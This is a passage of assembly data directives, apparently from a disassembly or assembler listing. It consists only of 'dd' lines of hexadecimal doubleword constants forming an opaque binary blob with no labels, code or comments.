44005872h, 16D85ACCh, 65DF25h, 9A43103h dd 0D973EC3Ah, 0F8A5990Eh, 0FD54281h, 0D8CA404Ch, 0C64B00FFh dd 0A268D3C0h, 42006B7Ah, 0A70FC9F7h, 1F38AE9h, 0D4E19B13h dd 0E874257Ch, 0B80F732Fh, 80426D43h, 0F44C86AFh, 0FFCB00DEh dd 0A1D301CDh, 0F8E08D02h, 0AFFC4600h, 0C7A4C1B2h, 0F2D70027h dd 76A7DBEh, 3C014C28h, 36FD4F94h, 0FAFDAB39h, 0FA1B7620h dd 296600A0h, 4E8374EDh, 0F90F68B4h, 67348875h, 0A16E1714h dd 0B25FE336h, 673AC0h, 0F208947Bh, 12E4AA53h, 2B7D707h dd 24122EBEh, 7D0460ACh, 0D1DA1F98h, 14103099h, 0A2004ECAh dd 8642E7FAh, 0C8272Fh, 3D8FDCA3h, 32843795h, 0B8099400h dd 7D0639ABh, 22CE1E1Dh, 4011DD07h, 0C9BAE50Dh, 1A00A42Fh dd 16EBAC02h, 0E8C2541h, 0A7542623h, 3900C38Bh, 0CAE1662Dh dd 49D1E800h, 0A9936F90h, 3B7A47h, 0CDD59821h, 0DE4CEAABh dd 0C7402300h, 58A4AF55h, 613F0044h, 685333A0h, 190005D8h dd 0C75E9ED3h, 3E482Bh, 7C60974Dh, 0E6EA1645h, 7005298h dd 68F378CAh, 148A9ABh, 0A7593B3Dh, 0C83A3437h, 8C004F88h dd 7D968DDCh, 9B5614h, 0B77490E8h, 7CA1E7F6h, 0CF008CECh dd 3B315483h, 7BDD65E1h, 420C01AEh, 8B0BA2AFh, 284F8D0h dd 99783600h, 0C2507BFAh, 0C84C00DDh, 0BC9E25D6h, 0F2E42E07h dd 969C7303h, 0DBB5048Eh, 92D3B0E5h, 0A1D10091h, 58F226E4h dd 2100BEBBh, 0C6194266h, 161F56Dh, 59F3F141h, 0FC1A2848h dd 0BE00BC1Fh, 0FF874C71h, 7AAACBh, 69C65A93h, 0C4DA452Bh dd 0A62D700h, 13837782h, 207D00D6h, 0FE0E96A5h, 44B0261Dh dd 0FF785F24h, 99F59400h, 56CB8C5h, 0C184D575h, 6303BE46h dd 0BDE86088h, 87F5BE00h, 0F48ACEh, 0C28019E3h, 0AD2A5F5Eh dd 0CABB7D01h, 2E25B699h, 16AD3ECh, 3E6C8984h, 0F0B87E74h dd 1E00BA36h, 0B6A2E05Bh, 5E3328h, 0DE62F37Dh, 7A702B37h dd 0FAC23803h, 8881E6h, 14632C20h, 2D291994h, 99FBDB00h dd 9DEE82C3h, 95B20FB4h, 14005205h, 2F555CA3h, 0E91CAA98h dd 3B804390h, 7F99F417h, 182E0ADh, 7976E46Fh, 0D6B35310h dd 57D75B40h, 0E1E85F00h, 0FA1F4618h, 65070068h, 1C4F7313h dd 0D2008F35h, 800D951Eh, 0D51B85h, 2CFCE119h, 0BE0C1F18h dd 0AC00F375h, 0F7DC2B57h, 766DCCh, 5EEB69B9h, 0C69960BFh dd 0F89A700h, 0AE5C4E66h, 5F270090h, 3277E97Eh, 0F7003147h dd 74FAAF0Dh, 7A7803Eh, 6A30AD12h, 65EE90BDh, 0BF00F2FBh dd 963AC4FCh, 0D02AB7h, 0BC2875F8h, 0B63F89B0h, 0FA1AEE07h dd 7C508F3Bh, 0F34ECh, 5F35C44Eh, 0A280523Fh, 705E4800h dd 0C2CB4A8Fh, 0D75C003Bh, 249B23C8h, 6F005DADh, 0B4504B7Eh dd 1C9939h, 0F63ADFEFh, 8EAC86Eh, 0B39C0D03h, 42608Dh dd 0F73D9720h, 21761F26h, 152B6201h, 296F51E4h, 1EC5AFCh dd 0D60EF38Eh, 60E8EDCFh, 0C40048B4h, 32E28BA4h, 0B718CCh dd 4417DA79h, 491C3513h, 2E8C1F01h, 0F3BC04DBh, 39936C4h dd 396FB543h, 0E8E831E6h, 0A8C049AFh, 0EFE0332Bh, 7D728Ah dd 80377620h, 0D22AEED1h, 3BE7F200h, 0B60FFF04h, 7FCC011Eh dd 0E519C5E6h, 0A7102034h, 0AA3FA2EEh, 5C8000E3h, 362AF3B5h dd 9221C85h, 0EBB40084h, 646E270Ch, 0F14BF417h, 0CB350BEBh dd 10280000h, 0EF00A3A0h, 72534FECh, 0D08815h, 0FDEB25B7h dd 0DCDE1016h, 0F6F75000h, 21ACB526h, 38AA00EDh, 0AB6B9B8Fh dd 11004CDBh, 6F2789FAh, 1DE703h, 6A343EE5h, 36616C7Fh dd 40AFB300h, 0C67145B0h, 0DAF400E4h, 16E635Dh, 0D64C99DCh dd 82D43060h, 110249h, 0E99EBBD5h, 0BE1BFE03h, 51B64800h dd 0CA97EF3Eh, 7590C6h, 0DE1C14C4h, 2A1F93B4h, 0D7E55B1Eh dd 92D33F5Dh, 8F5A2600h, 0D3DEF6h, 936CD2F4h, 0D024EF04h dd 2341B00h, 0A4B331BBh, 3CDA0026h, 93358D55h, 1217F727h dd 0E800949Fh, 0AE6631BAh, 9899004Bh, 1325B1E2h, 7E00601Eh dd 0FDECD0B4h, 0EE3F12Eh, 0EBB7451Fh, 0C5968E7Dh, 10F7C720h dd 3F73D16Bh, 86B03D00h, 0BC4DE8A6h, 9C7293h, 69DBF68h dd 91C0295h, 5C72920Fh, 83CB4013h, 61C1ADh, 0AE8BB7DCh dd 0EAA37D1Bh, 0F839A8FCh, 0E5C701B1h, 50A9C297h, 613CD8h dd 0B521F570h, 0D17FE8B2h, 4028F4F4h, 400B09Ah, 0F096208Dh dd 0A327BEh, 0DAF7CEB8h, 9EB68432h, 0D6570B00h, 0FB808CC3h dd 48C11F4Bh, 0B46ABAh, 0F296DF81h, 3F8EBC31h, 80B8A377h dd 2072307h, 95DF3C48h, 0D83DF3B0h, 39F720A1h, 5F80E73Ah dd 0FB141E4h, 0A2142EB8h, 2A0BB1Bh, 0EA5C644h, 80844251h dd 0BE77D68Ah, 1C870014h, 9CB00692h, 1B3B0D66h, 0DF5C42h dd 3613D98h, 0BA2BE9Dh, 0B87FB5D8h, 0B940330Eh, 3C8490EDh dd 43037EC0h, 0F148C5h, 59A71AF0h, 6A66FDCBh, 0EA503600h dd 0BFED9705h, 0EA65B842h, 8A5403DEh, 0E7E83F1Dh, 0B94CE0E7h dd 442CB088h, 8205902Ah, 802826CFh, 0FA84B0ADh, 8D570020h dd 0E9D5A230h, 0DF000E11h, 183735CDh, 0BA25C4h, 8350AEA0h dd 27746CF9h, 71618105h, 688088D3h, 0ED4E70h, 0D6E9FE62h dd 3CC5B7F7h, 5F127500h, 0FADDA07h, 0B19025h, 388A442Ah dd 4F238359h, 2D1AFA0Eh, 675FA06Dh, 0C7BCA8h, 6F35F116h dd 0DE549F82h, 7E025673h, 0DA5B51B7h, 0CCA44012h, 0F2860048h dd 3F5EE7D8h, 0C800FDFAh, 413C7C65h, 322198h, 2A8120CAh dd 7DEC1184h, 0A892FA60h, 0A9DBA1h, 2632C6D2h, 693835FEh dd 0C7AF0E1Ch, 0A0395980h, 71EF7Dh, 0E0FBA322h, 0A74E64C3h dd 2B16700h, 0F85E1284h, 0E4DB0905h, 4465573h, 0DF073E00h dd 0B3C1895Ah, 38A2428Ch, 8E03F9F0h, 0E2758DF1h, 0FC1A0016h dd 0E412AB86h, 190060D1h, 0D4DC3211h, 0EE5742h, 0D8626823h dd 7AE74803h, 0FCA8DFA3h, 1025FACFh, 23087C1Ah, 15F980ECh dd 0FCBC9340h, 0A5BD9002h, 6072B212h, 0CB1974h, 6A419DF3h dd 0FEB6EF2h, 0D2E6FC2Eh, 4944F802h, 54ACE0C9h, 9FF30B94h dd 68A33A1Ch, 7C81BB0Ch, 88670E8h, 0ED930700h, 2BC389D2h dd 0B7650FA6h, 5BE0DDFCh, 0E48603A9h, 2228B103h, 0A125CD35h dd 0A03A4737h, 0DB1C2422h, 0A2921288h, 0A8E84100h, 612FF9h dd 4AAF44D2h, 9F6CC258h, 5FA1FA00h, 4F5728D6h, 77001FBh dd 0E3EA99E9h, 0E40AF443h, 0BA74900h, 93592B6Bh, 446C1995h dd 0D00410F8h, 0ED00E50Eh, 7B257AC4h, 2E27797h, 7108E1E4h dd 0BC40CEC0h, 0A44BB6A9h, 0DFCE030h, 70541CE6h, 8305816Dh dd 0C85BD301h, 0DCFF1DEDh, 761CC568h, 800376Ah, 0C3308943h dd 2B121749h, 0A3F0024h, 0C0BA3D15h, 5626B600h, 0CC78FAAEh dd 0D9E73AA5h, 5CD5AC00h, 0C7AD3743h, 5B2FD00h, 0B4B517B6h dd 87F50015h, 0C48A1091h dd 340045F8h, 3BCC58F3h, 47DDCAh, 0AB2BF1ECh, 8C4041F7h dd 92213Bh, 75650CA4h, 98D70257h, 9555CE9h, 97002539h dd 49F1B48Ch, 2A00B9B0h, 7FBB8809h, 785BE1h, 2D056F94h dd 38CC69A3h, 0C5E31500h, 0E4DD4611h, 0A9A13EB2h, 0BF67B880h dd 73B68121h, 273D9F00h, 41F0B84h, 60200E86h, 0A0806EA2h dd 0B487B3C8h, 9D0023F8h, 0B7C9D91Bh, 0B9E2D98h, 5CF664F5h dd 603E8E7Dh, 4F1215Fh, 0AC9080h, 0DE348B99h, 3DFB8F67h dd 3C33A102h, 0E6210C1Ch, 0C5E51740h, 8C38423Bh, 99000E44h dd 1160C5Fh, 75ECC92Ah, 0C0918421h, 0F1F476B6h, 89B9FB01h dd 0BF6D5D57h, 0C60E1868h, 1FF2715Ah, 6552E0h, 35D23761h dd 0F9058DC7h, 0FDA22622h, 0D9DD851Fh, 2B6CFE40h, 58995A2Eh dd 1B00BF54h, 52CB1409h, 1277A6D7h, 0F01EE0F0h, 1803AB6h dd 4B754D4h, 0E5F70032h, 87681FEBh, 0BC39B8A9h, 23B507B4h dd 0F3348A66h, 6806B0D0h, 0C2500092h, 202EBE0Fh, 23B8054Ah dd 0E084D102h, 0C05659D7h, 0B085BCACh, 0AE2C0AD8h, 0B4A75Fh dd 0F931610Bh, 9B028B20h, 76E4B3D3h, 0E9B08011h, 7B9B679h dd 552A7273h, 404BE099h, 0D0E7AEAh, 0C1459669h, 4A574CABh dd 0FFD9AE4h, 0B0D4BC6Eh, 0DB8BB627h, 23A4D821h, 0FF869C4h dd 0C06E8ACEh, 8242EA73h, 0D0C4A3FFh, 662180Eh, 98D22E87h dd 0F67F08C1h, 2C885C01h, 0A6012848h, 0FE8460h, 9A911FD8h dd 0D405F72h, 0A26FC707h, 6D23AABFh, 6637B8EAh, 0E4DE0236h dd 1C627C5h, 2F2ED4C8h, 0A7C9B00Fh, 394381E9h, 5EECDF9Dh dd 6D100015h, 5506F39Ah, 4B3C0BCFh, 242380C7h, 0D9BEA4EAh dd 0AB201F56h, 70D643CCh, 9B90C363h, 22010613h, 0E9122946h dd 0C7D86B90h, 0EADF0085h, 6C1926F9h, 0BE00F58Eh, 0C97E685Dh dd 1E96461Dh, 0C150D429h, 11354B98h, 5951E8D2h, 0D0537C00h dd 0EC7CE4Fh, 3B47AC2h, 0C91B1024h, 0F7AFD661h, 54F2D056h dd 29008155h, 529DB3E0h, 0CAE79Bh, 28B604C7h, 0FEB94FCFh dd 8A355D00h, 739B0FC1h, 8B6E5CE6h, 3FAF3700h, 0CAF5A28Dh dd 351F21F0h, 73008A52h, 0CFE1E810h, 7EEF00F3h, 9C05C2BBh dd 3F00A065h, 46D987D2h, 0F8760740h, 9613073Ch, 32B22984h dd 0FC40B07Eh, 0F7582662h, 5B7100A0h, 0ECB81B36h, 522400F6h dd 58AF21BDh, 59009342h, 6BC7914Dh, 19D3A5h, 0AE6795Dh dd 553840DAh, 2BECC201h, 7F169D12h, 24DD4C20h, 50FCE413h dd 73008340h, 0B0BF02F9h, 3CD879FAh, 0E69EAFF2h, 980AC023h dd 0DF2C6FD3h, 0AD1FBA0Bh, 0BE688173h, 27E584D6h, 0B75F8h dd 4DFE3AB2h, 77030746h, 10B83679h, 2C197F26h, 4222AC0h dd 7EBB028Bh, 72AE14C4h, 51EDC840h, 0D002984Ah, 60A7F66Fh dd 166A7118h, 5EA26D9Fh, 1BAB809Ah, 203DB752h, 1014474h dd 9A84B495h, 3460F787h, 1CDF77B2h, 839CAD12h, 3174ECA2h dd 0FC8E3AB1h, 6500E9EFh, 0D9431E17h, 3B4D30C6h, 0A380FFE8h dd 0B547AE2Eh, 9C035B79h, 0DA89BCA2h, 0AB27A0D4h, 8EE600F6h dd 9EDB028Bh, 140072A4h, 4EF13D05h, 0E926CAh, 0FAE2386Eh dd 593683BEh, 8E024200h, 0C5FE2D7Ch, 0CE891CB8h, 86807E85h dd 153A11ADh, 1B2C1F18h, 1000C65h, 68D162C8h, 2A5500A8h dd 0B773E617h, 7900BB21h, 857D46A4h, 0FAFEF80h, 63F207E3h dd 0B76115A3h, 308FA0CFh, 0C72495C1h, 0F0003FA8h, 0C1B7236h dd 742400F7h, 0A9D99BDDh, 20B76A7h, 0C73D89EBh, 5BD87000h dd 7618A084h, 3DC0E9F1h, 835D03C5h, 0B70BBB05h, 5F31DBB8h dd 0FFD51500h, 6BF68D0Eh, 449702DEh, 0AD4108F2h, 46870440h dd 4F009C70h, 1D551211h, 309157h, 9905CDB6h, 0D1DAD587h dd 0C79A8C00h, 0EAC3C28Fh, 2E06F47Eh, 17EAFEF4h, 36B44027h dd 0E0AC308Ch, 342880C7h, 4509E67h, 0B616BAh, 0F4FBF7Eh dd 0C9FC86FDh, 33E8BE00h, 783E0D25h, 78FE81Ah, 0E0242FDDh dd 0C69B20BCh, 360011B3h, 0CB5DC032h, 0EA339895h, 89240FDFh dd 54603A1Bh, 0FF72631Ah, 8C0C0B2Eh, 0BF9FDB00h, 3C1C18D0h dd 3F26CC90h, 86540080h, 76C9D3B0h, 5F200907h, 0A2B763A3h dd 225DCD30h, 3E501C0h, 0D8B05AF8h, 0D34283BCh, 80DE0E17h dd 0E67A736Dh, 388D3DD1h, 2E66DC00h, 9CD9D23Bh, 0A4F11100h dd 0D73F9337h, 3D3F6E4h, 9771E55h, 0FCBACF81h, 1BF8C80h dd 20CCE86h, 20930B0Fh, 9DA103AEh, 6EA812A5h, 0AC5A4C00h dd 0C606F7A6h, 0C973001Eh, 3A3F65D8h, 0EB74C238h, 431E2CF8h dd 0B84090A2h, 8ADE48ACh, 15F1005Dh, 62F7E14Ch, 951D54DBh dd 6E011CD5h, 0E70D781Eh, 0F0974060h, 0A8960B02h, 0F84BDFADh dd 0F387DD8h, 30F9E700h, 98359399h, 0AE630029h, 495AE2E9h dd 9B003603h, 8673CDEFh, 0DED941h, 3431A998h, 3A5D9D2Ah dd 0F08C4901h, 8E03B84h, 0C0D205F1h, 82545644h, 19F1BC60h dd 0DC762F00h, 0D0A9B46Eh, 99280A5Dh, 9412EFh, 93FF6C9Dh dd 1600ADE7h, 871FD796h, 26F36h, 0C1A67761h, 41BD635Ah dd 0F2E98800h, 0E76F383h, 83A0093h, 0C86DAD8Eh, 630091FFh dd 0C7707898h, 0D4E7F6h, 56B71E34h, 0E072629Ah, 0BD009D7Ah dd 8195B4D8h, 733ECDA3h, 1E57F82Fh, 80872443h, 20C9F2B5h dd 0C0BF6ACEh, 0F2FDE1B3h, 801B0032h, 4A998638h, 2E00D9A2h dd 0D685529h, 0A1185Dh, 239D31DDh, 77FCD058h, 0BAE030EBh dd 0B806A900h, 1DC50A75h, 3372E6h, 9B776895h, 2A87C654h dd 0C15F6B16h, 0FAAD84Bh, 60F80050h, 662F62h, 0DA31AD33h dd 7AD9689Ch, 0FFB92800h, 73B1AB15h, 748F0F3Eh, 86E042A7h dd 675BC184h, 25B92403h, 0F00AF166h, 6BAE6Ch, 7264922Fh dd 0F0A8176Dh, 9AD45000h, 0AD0B8D04h, 0FA82008Ah, 19AB62E1h dd 0F09FD1Eh, 81042C84h, 0C763FEE8h, 781E8C8h, 0AE035869h dd 0E9A4B0CEh, 0D0123ADBh, 0A03F5D5h, 0C0788175h, 0DF3720h dd 89A989Fh, 52A9C71Ah, 0CDE35C00h, 0FCBD70D5h, 5526399Eh dd 0CCDFC880h, 42F33883h, 9F9C7903h, 0FF3D1477h, 8608E6h dd 0DB33BE5h, 98F1F7DAh, 5300F5EAh, 0ED88C4E7h, 0B02930h dd 37232647h, 0D6152A2Bh, 93CF2700h, 0D57DEBDAh, 0BC4B0034h dd 2359331Fh, 0FE01A2B4h, 750A7CEFh, 0BBC46F22h, 37E7009Ch dd 6BD2F22Eh, 5E00CDDCh, 846664DDh, 10B8E3Eh, 0C4B335BBh dd 30890408h, 3A00AFBDh, 44B04503h, 1C3B5070h, 3A08BFD8h dd 0A58E2E80h, 7D097AF4h, 25024909h, 387A00DCh, 1633DE72h dd 0FFC19h, 1F46F45Bh, 200FB427h, 0E09E767Eh, 8FCF022h dd 0A29000B8h, 0C894A131h, 70008964h, 336A5973h, 12046D9Eh dd 0E8EE76h, 0D43A5850h, 63587D8Dh, 0B5DF007Fh, 80C41336h dd 4DA600CAh, 8F5DD84Bh, 0F0F6BAAh, 0E05F436Eh, 0EDCD5C82h dd 0F08813D7h, 19A60079h, 177AF513h, 32302300h, 0FC751528h dd 0F8F70F4Ah, 0C4E0374Eh, 0E2EFEE61h, 0AC3BEAF8h, 63F080C5h dd 748C9B10h, 0DD0600B3h, 3978447Fh, 97E8F348h, 0ED5F0A03h dd 0E8E69202h, 0FE24D9h, 0A7068BD2h, 0AF75A889h, 14217E00h dd 961FBF2Eh, 0B7B90F6Fh, 0AC408CE0h, 5FB35FAh, 17A02900h dd 0D319CBD8h, 0E99B00EAh, 429779C8h, 0CF00724Bh, 183B66B1h dd 14D98E4h, 0E3752639h, 0C880311Ah, 0F500230Ah, 0E7D0D920h dd 3F9A9CBh, 8E97AF8h, 479869FCh, 54008D96h, 2D632398h dd 0D78861h, 7E122BC8h, 0FE64263Ch, 4F056C00h, 595452DCh dd 7C3200CAh, 564CA615h dd 3800363Dh, 0F19FE27Eh, 233980h, 4FDB508Fh, 660F096Ch dd 5888B00h, 270C8CE1h, 65A60017h, 5CD0A1ABh, 8100BA0Dh dd 0A897016Ch, 6710FFh, 27F1B52Ah, 2D83A315h, 1D248538h dd 0A680F259h, 1749B7B1h, 0C4B0FCBh, 2C206D48h, 7220ADBBh dd 9BC59D04h, 0F2C038F2h, 52284Ah, 0FDC1D670h, 0E2C09998h dd 0CAE4341Fh, 20B11A4Fh, 8B17D43Ch, 68980056h, 0C29441F0h dd 0ED16DAEEh, 71002FBBh, 0C0AD2A3Ch, 6D1100CBh, 0EAB084E6h dd 400C9B37h, 401C028Dh, 0D2102E43h, 0D65D006Ah, 6FD4E691h dd 1D843148h, 0C3004FA9h, 2F67434h, 16E699h, 0E759D703h dd 0AF1F694Eh, 927DEA1Ch, 26A79B01h, 5D00CB4h, 97AD0043h dd 0DB27E1A2h, 3100687Eh, 54554A3Dh, 1EE059EFh, 4388A064h dd 95E7FD0Dh, 91C7A8C8h, 58145604h, 80BEFBEAh, 5B74301Dh dd 765D2C01h, 0A17084B8h, 42FCD080h, 727E8723h, 0A8FB3A06h dd 1B85E61h, 753E1B98h, 701CA657h, 181FA0BDh, 0C300B37Bh dd 0FB477655h, 0E69007Dh, 427E4071h, 9900BDA2h, 0FEC5FAB9h dd 0FF044D4h, 1EF20F47h, 66FD4940h, 2A38FB0Dh, 9C8860E5h dd 0E448C4h, 147A6996h, 9A10A9FAh, 460B3D00h, 0A0D5AD53h dd 35372CD6h, 0EED030F4h, 0E3033C86h, 52563123h, 0C8E93A46h dd 1F6128D0h, 0C01C7A2Fh, 6D1822A2h, 420EC594h, 20A7632Dh dd 17590649h, 610918ADh, 0E2B5D678h, 0D5BD7B0Fh, 8BCA2037h dd 1E968186h, 0C0BB63EAh, 60B8A162h, 0BE00AEBDh, 89A6D392h dd 1BF4F1h, 2B2F4E35h, 8F9156BFh, 76735300h, 0DCB3F57Dh dd 0E3100DEh, 0ED8AD9D3h, 4C1E1F64h, 814093F9h, 41B9B09h dd 4F280091h, 2203F046h, 0A200C970h, 49655259h, 1FBA1CE4h dd 4113661Fh, 0B536F477h, 0F6D7D074h, 0A1E44D07h, 4A100B9Ch dd 1D01144h, 756DA80Eh, 0D05A79CAh, 9E014225h, 7B38271Ah dd 3980F9BFh, 0E10903B6h, 0C200430Ah, 2502499h, 91057Dh dd 0A9DF46D1h, 0E9521748h, 0FB1FB60Fh, 0F051017Fh, 1420440Dh dd 0BD472649h, 796007FDh, 64DA63C5h, 0E44E93A0h, 7046FC00h dd 7BBC119h, 750B1D23h, 0FDA18CE1h, 0AE00FC80h, 423DE78Dh dd 0D3F084h, 0A227DAC2h, 1BE3DB43h, 0C8D13200h, 34F72321h dd 79916009h, 900BFAA9h, 0CF877D01h, 0B17B3EE5h, 625197F0h dd 444D20DFh, 0D35E7F60h, 8115233Eh, 32C2BEFAh, 2080FB16h dd 90CBF79Eh, 0F000B04h, 1C520A23h, 3D63724h, 7EC29FB1h dd 187F07C3h, 65004876h, 0FD2D6A73h, 600F50h, 4FE45DC2h dd 7F68F70Ah, 0ABED612Eh, 1F145E00h, 183A21Ah, 1653ABC1h dd 0CCF98251h, 7800EAD0h, 6CAA2B86h, 1F3A909Ch, 7E057580h dd 3F564500h, 86A39961h, 0A50FFB00h, 0F385AE52h, 22CE00CAh dd 0C66C4A32h, 0E62612B1h, 0CD00D890h, 0D46ED789h, 395B0734h dd 40D64B8Ch, 80FBC1CFh, 10965300h, 0D8AA7989h, 2A0D0067h dd 12D49238h, 8500E91Ch, 0A51AD3A3h, 75E4B4AFh, 0C43C007Ch dd 30BC7AF7h, 226034ADh, 906BEC10h, 0D82C001Eh, 0CC13918Fh dd 0F10088D6h, 1C5551D3h, 2A89BBh, 0F0548EECh, 10B90EF5h dd 65FA4100h, 2143805Fh, 957701ADh, 8F423BFCh, 0CCFF61ECh dd 5900166Fh, 1045CCBDh, 90A854A5h, 0D6F2000Bh, 8A8774AEh dd 5907551Bh, 3A664760h, 0A80F1EA0h, 0A5B90027h, 0CC1295D4h dd 37001BEAh, 96E2A025h, 0C417EA2h, 0FDED0AC1h, 0B07FD098h dd 2C308B60h, 0F8E1105Eh, 0A24B00E5h, 2E4A3AC7h, 557CA0BCh dd 74E3EF01h, 2DED547Dh, 0F88E24F4h, 1947CDCh, 2096C5F5h dd 84EF9985h, 0FBCE5159h, 2213A204h, 5A0810A6h, 20947144h dd 0B62152B8h, 106B04B1h, 0B8110ACCh, 0B9215930h, 0D3E680DDh dd 0A1213F9h, 947A1378h, 0C2889D2Ch, 0A25F6E93h, 0FDAA4F18h dd 831BD01h, 0F9212075h, 1084CA7Fh, 10A0C796h, 58825440h dd 2E02903Eh, 4AB813EAh, 20109B30h, 5409E2C9h, 202F8096h dd 0AA5CC00h, 30FB977Dh, 0B1006868h, 0D09C452Fh, 1CCDD10h dd 0BF0295D1h, 80A8FF5Dh, 79341E50h, 92CB85B6h, 284B003Ch dd 0EAF571FDh, 0F6B06C0Dh, 0FB7D4800h, 13E4DCD2h, 0D5B30075h dd 3F31AC30h, 9800013Bh, 0C42937EDh, 0FE949ACEh, 487F15h dd 0A60B1CF9h, 0F3985D54h, 0D9ECE0C0h, 58455C82h, 3901F0A9h dd 0A319B6D7h, 26E0FFA8h, 0C97E89F3h, 349FE304h, 1C841CC4h dd 713B0FAEh, 830EE7E0h, 0A100D347h, 56FF0C80h, 0B2468Bh dd 36ECF6DAh, 8EE083A0h, 0F2643000h, 0BBE4DEB0h, 0FBE69Ah dd 0BFD13E44h, 0D2AEB96Bh, 2C86F800h, 6D5B5F3Bh, 0C9312CDDh dd 5165000Fh, 0F70685B4h, 7C5D38h, 0FF1796E7h, 0C3B519DAh dd 33541418h, 578C0800h, 64B46843h, 718007Fh, 0C32CDE3Ah dd 0E87B12EEh, 264AFD00h, 0C77489Ah, 2FEC0056h, 65A988E9h dd 550F86B5h, 4053EDE8h, 0D18AF6CEh, 5A3D005Bh, 0BD02B0A1h dd 9F0F963Bh, 868E06FFh, 780A6Ah, 23CE4516h, 91CB04EFh dd 38FF0818h, 201390h, 26A6DDF1h, 0CE7E386h, 555E40Bh dd 0C12C8C96h, 0D809390Bh, 8647EF9Dh, 181891EAh, 20F75D51h dd 7B005380h, 948BC972h, 249A08h, 668193E4h, 67AB3D9Ch dd 0C99883E5h, 88147F47h, 50B5C5Bh, 0E52C6463h, 905C72h dd 6FFF4C68h, 0C012FE6Eh, 0E8019EC6h, 88825790h, 1E8758E0h dd 400FCBEDh, 0F611E7ECh, 40F2760h, 0A00B9E81h, 0A61A6C48h dd 0C44A00ADh, 2B8705A4h, 37007823h, 0F612DB49h, 9FB569h dd 0BEAC7D0Fh, 649EC446h, 169B5924h, 0D73A3E00h, 6AE947h dd 0B462EBF1h, 4953E89Ch, 0DF0C8200h, 69E53284h, 0A4093B2Bh dd 651E4E80h, 0C858F20h, 60995F00h, 1250935Ch, 0DCB400A2h dd 0CD0A73A4h, 6F00F841h, 0E73ABAE0h, 5DABFF2h, 582B0616h dd 9A1BC018h, 9C60B1DCh, 98122668h, 854B0AE0h, 88EC9Fh dd 0E74AC9F1h, 0FC00A330h, 2BC32803h, 93960Ah, 5AC6F03Bh dd 3E09AE4Ah, 0D2A9B000h, 0DCCFA337h, 0E1D800EAh, 6036E597h dd 650003E0h, 63EB9D7Ah, 7C5016h, 148AB4C4h, 0A2057718h dd 87DACB00h, 0C3D395AEh, 4BD700AFh, 0F3571491h, 5D76DE54h dd 6DDD9800h, 0C047F08Dh, 0C3C20F30h, 0EB80CAF4h, 51773680h dd 0E0E35707h, 80EFC822h, 81165BD4h, 12E8F8DDh, 0D5B208h dd 233D523Fh, 0F800289Ah, 0EAF28AB9h, 608073F4h, 0D67498CCh dd 330F7B57h, 0E16D32C9h, 782608F6h, 719C25F0h, 8A6C0715h dd 0E018241Fh, 34E13B10h, 58E63607h, 5E705C83h, 201D10Dh dd 1147A264h, 7C906A16h, 4904F0C1h, 0F93EB813h, 81257020h dd 72D140Fh, 9DB320DEh, 0D0D157h, 90E7B87Ch, 567DC5Dh dd 8A41EF1Dh, 3B479D8Eh, 270D870h, 48BF0139h, 699ABD3Eh dd 2D38F0EDh, 28A3C70Ch, 0ECEAF011h, 16830749h, 0F3F40171h dd 64A10E18h, 29208027h, 4F6F3A04h, 149062h, 0ADDF1387h dd 5EEC1BE2h, 0E9ED2100h, 90C5C4AFh, 718400D9h, 9ABE6ECAh dd 0A10E46D4h, 20669DA5h, 0B94978B0h, 22EC006Ch, 34433329h dd 0DCB01F6Dh, 0D90D621Eh, 4A93C587h, 0B1B045E7h, 28611h dd 90E42123h, 3A82BCA2h, 9D27DD3Ah, 458030CCh, 84BAC905h dd 10170902h, 8603AF77h, 0A199EE36h, 9C29D0BFh, 0A2465300h dd 18474BC2h, 0B5D70060h, 11CDFCB9h, 19003F0Fh, 22022EB7h dd 30732Ah, 0D46A2D70h, 56E4477h, 86E7D500h, 0B9C566C9h dd 375938D2h, 8800E038h, 8B5F5B40h, 28071024h, 0EBFB0D5Ch dd 33A21820h, 15D1004Ch dd 17D7CB74h, 440064BAh, 0D6EF6E81h, 74E2356h, 75EDFFF0h dd 0BF6D1030h, 2D008368h, 20D8B07Ah, 0BA1D93h, 3124D715h dd 59D13582h, 9666A307h, 924061B8h, 0E6ACC7Fh, 0D80D9F34h dd 1CA0E1AEh, 79586571h, 74DA58h, 8A1F70E3h, 0E8E12188h dd 0C5BB007Dh, 99794289h, 0E03AF9F7h, 0FD1D0095h, 0DDCA3126h dd 0D67E00EEh, 0CC510D06h, 0BA3F3022h, 0C80072FFh, 0A62B0AAAh dd 0B02444FEh, 7FE13D21h, 7DAC5200h, 6BC43553h, 0E67FB490h dd 7C1F5601h, 58449946h, 38A8CCC4h, 941CDA67h, 7400BE41h dd 9F9E4920h, 0A507C42Ch, 6CA2CDD9h, 2471C2C0h, 60D000BFh dd 75B802A8h, 67004A82h, 0F82EAA63h, 17E849h, 352CC0C6h dd 16A05AC2h, 432AB807h, 90E0DCF4h, 0C71398h, 25B164B6h dd 159D12F3h, 0CAA1E900h, 604FFB51h, 0B990048h, 0FCCB5B7h dd 0BC3A3910h, 6388FA4h, 4DD78031h, 0A1C8E1h, 0F8611D58h dd 7F1BFB8Fh, 4ED0080Eh, 0E0DA6E72h, 9B0AD1B4h, 5F280114h dd 0B7241739h, 0B5B0D0BFh, 3701A17Ah, 0E9F0604Bh, 3BC007F2h dd 0CB0F0038h, 4CC1F527h, 4E009FB0h, 2298C4Bh, 0C86D46h dd 0C389A390h, 0FEA286D3h, 4C1EEA1Fh, 16F3A900h, 7888C3Bh dd 74B8F446h, 0FFDE701Fh, 0E0009D4Ch, 7B1685DAh, 46B18Ah dd 55BA24F8h, 11089567h, 8BC4D900h, 51D2184Ch, 54AA002Ah dd 0F972750h, 0C10087CFh, 0C794E88Eh, 0FF2C65h, 90BA3B86h dd 1DCEA21Eh, 8BC03901h, 26C69AF8h, 0FD65C60h, 0B2D96832h dd 2743EE80h, 2A0089F6h, 2C6250BDh, 80320Dh, 4F764C63h dd 593397Eh, 4819B113h, 0C2B20800h, 90B59682h, 816300F5h dd 4056C7EFh, 0F000615Eh, 0B8B99784h, 39E8D5Dh, 8F59A4A6h dd 94F0240Dh, 0A200EDF5h, 0E7831B60h, 2CBA2Fh, 0A515DF05h dd 196B7F36h, 160AA800h, 250FC331h, 0C9C600D7h, 0FC99DB84h dd 9AA0AF4Fh, 0C7067C7Ah, 6CA031B0h, 0F99A0098h, 0A8C20F45h dd 910795FAh, 0E7303CDDh, 0D4A4B6D0h, 4710064h, 2B2A8131h dd 8E037ECFh, 9D3C8D88h, 0A49EE8A6h, 0F8BC0048h, 6BAC67EFh dd 0FA4C7C0Eh, 25518418h, 0F420654Fh, 5C7299B4h, 0A0B88100h dd 570E90F2h, 0FD000B9h, 0E6F6795Bh, 